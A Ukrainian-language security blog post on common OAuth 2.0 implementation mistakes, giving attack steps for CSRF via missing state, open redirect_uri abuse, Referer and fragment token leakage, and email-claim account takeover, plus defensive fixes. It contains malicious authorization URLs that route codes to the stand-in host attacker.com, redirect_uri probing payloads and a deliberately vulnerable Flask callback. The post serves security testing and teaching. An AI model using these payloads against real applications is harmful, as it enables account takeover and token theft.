Research / OAuth 2.0: типові помилки реалізації і як їх зламати
RESEARCH
UA EN

OAuth 2.0: типові помилки реалізації і як їх зламати

✍ admin 📅 21.05.2026 👁 109

Як працює OAuth 2.0

OAuth 2.0 — протокол авторизації що дозволяє додаткам (клієнтам) отримати обмежений доступ до ресурсів на ім'я користувача без знання його пароля.

Типовий Authorization Code Flow:

1. Користувач натискає "Увійти через Google"
2. Додаток перенаправляє на Google:
   https://accounts.google.com/oauth/authorize?
     client_id=APP_ID&
     redirect_uri=https://app.com/callback&
     response_type=code&
     scope=email&
     state=RANDOM_STATE

3. Користувач входить у Google і підтверджує доступ

4. Google перенаправляє на redirect_uri з кодом:
   https://app.com/callback?code=AUTH_CODE&state=RANDOM_STATE

5. Додаток обмінює code на access_token:
   POST https://oauth2.googleapis.com/token
   grant_type=authorization_code&code=AUTH_CODE&
   client_secret=SECRET&redirect_uri=...

6. Google повертає access_token
7. Додаток використовує token для доступу до API

Атака 1: Відсутній або передбачуваний state параметр (CSRF)

Суть: параметр state запобігає CSRF атакам. Якщо він відсутній або статичний — атакуючий може змусити жертву прив'язати свій обліковий запис до акаунту атакуючого.

Exploit:

1. Атакуючий ініціює OAuth flow, зупиняється на кроці 4
   (отримує URL з кодом але не завершує авторизацію)

2. Відправляє цей URL жертві:
   https://victim-app.com/callback?code=ATTACKER_CODE

3. Жертва (вже залогінена) переходить по посиланню

4. Додаток прив'язує ATTACKER_CODE до аккаунту жертви

5. Атакуючий тепер може увійти в акаунт жертви через свій Google

Перевірка:

1. Почни OAuth flow
2. Отримай callback URL з code
3. Відкрий той самий URL в іншому браузері (без сесії)
4. Якщо авторизація пройшла — state не перевіряється

Атака 2: Відкритий redirect_uri (Open Redirect)

Суть: якщо OAuth сервер не валідує redirect_uri суворо — атакуючий може вкрасти authorization code.

Сценарій 1: Wildcard

# Зареєстровано: https://app.com/callback
# Сервер дозволяє: https://app.com/*

# Атака: знайти open redirect на app.com
# https://app.com/redirect?url=https://attacker.com

# Шкідливий OAuth URL:
https://accounts.google.com/oauth/authorize?
  client_id=APP_ID&
  redirect_uri=https://app.com/redirect?url=https://attacker.com&
  response_type=code

# Жертва авторизується -> code йде на attacker.com через redirect

Сценарій 2: Path traversal

# Зареєстровано: https://app.com/callback
# Вразливий сервер приймає: https://app.com/callback/../evil

redirect_uri=https://app.com/callback%2F..%2Fevil

Атака 3: Authorization Code Interception через Referer

Суть: якщо /callback сторінка завантажує зовнішні ресурси (аналітика, CDN) — URL з code може витекти через Referer заголовок.

GET https://app.com/callback?code=SECRET_CODE
# Сторінка callback завантажує:
<script src="https://analytics.example.com/track.js">
<img src="https://cdn.company.com/logo.png">

# В запитах піде:
Referer: https://app.com/callback?code=SECRET_CODE

Перевірка: переглянь мережеві запити в DevTools при OAuth callback. Чи є code у Referer будь-якого запиту?


Атака 4: Недостатня валідація token'а

Суть: деякі додатки не валідують access_token — вони просто довіряють email або user_id що повертає OAuth provider.

# Вразлива реалізація
@app.route('/oauth/callback')
def callback():
    code = request.args.get('code')
    token = exchange_code_for_token(code)
    user_info = get_user_info(token)

    # ПОМИЛКА: не перевіряємо аудиторію токену
    user = User.query.filter_by(email=user_info['email']).first()
    login_user(user)

# Атака: зареєструвати свій Google OAuth app,
# отримати token для жертви (якщо знаємо email),
# підмінити token у запиті

Атака 5: Token Leakage через Fragment (#)

Суть: в Implicit Flow (старий, не рекомендований) access_token передається через fragment URL.

https://app.com/callback#access_token=TOKEN&token_type=bearer

# Проблема: fragment може витікати через:
# - document.referrer якщо є редирект
# - window.location.hash доступний JS на сторінці
# - Browser history

Атака 6: Account Takeover через Email Claim

Суть: якщо можна зареєструвати Google аккаунт з email жертви, або OAuth provider не верифікує email.

1. Жертва: alice@company.com
2. Атакуючий реєструє Google аккаунт з alice@company.com
   (деякі провайдери не верифікують email при реєстрації)
3. OAuth flow: Google повертає email=alice@company.com
4. Додаток шукає User по email -> знаходить акаунт жертви
5. Атакуючий увійшов!

Де шукати вразливості OAuth

1. Чи є state параметр? Чи він валідується?
2. Перевір redirect_uri: що прийме сервер?
   - Спробуй: redirect_uri=https://attacker.com
   - Спробуй: redirect_uri=https://app.com.attacker.com
   - Спробуй: redirect_uri=https://app.com/callback/../evil

3. Чи є ?code= в URL на callback сторінці?
   Чи завантажуються зовнішні ресурси?

4. Перевір /oauth/callback в Burp — яким чином
   використовується code? Чи перевіряється?

5. Implicit Flow: чи є #access_token в URL?

Захист

# 1. State параметр — криптографічно випадковий і прив'язаний до сесії
import secrets
state = secrets.token_urlsafe(32)
session['oauth_state'] = state

@app.route('/callback')
def callback():
    if request.args.get('state') != session.pop('oauth_state', None):
        abort(403)

# 2. Суворе порівняння redirect_uri
ALLOWED_REDIRECT_URIS = ['https://app.com/oauth/callback']
if redirect_uri not in ALLOWED_REDIRECT_URIS:
    raise ValueError

# 3. Валідація аудиторії токену (audience claim)
decoded = jwt.decode(token, key, audience='APP_CLIENT_ID')

# 4. Використовувати Authorization Code Flow + PKCE замість Implicit

Корисні ресурси

Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?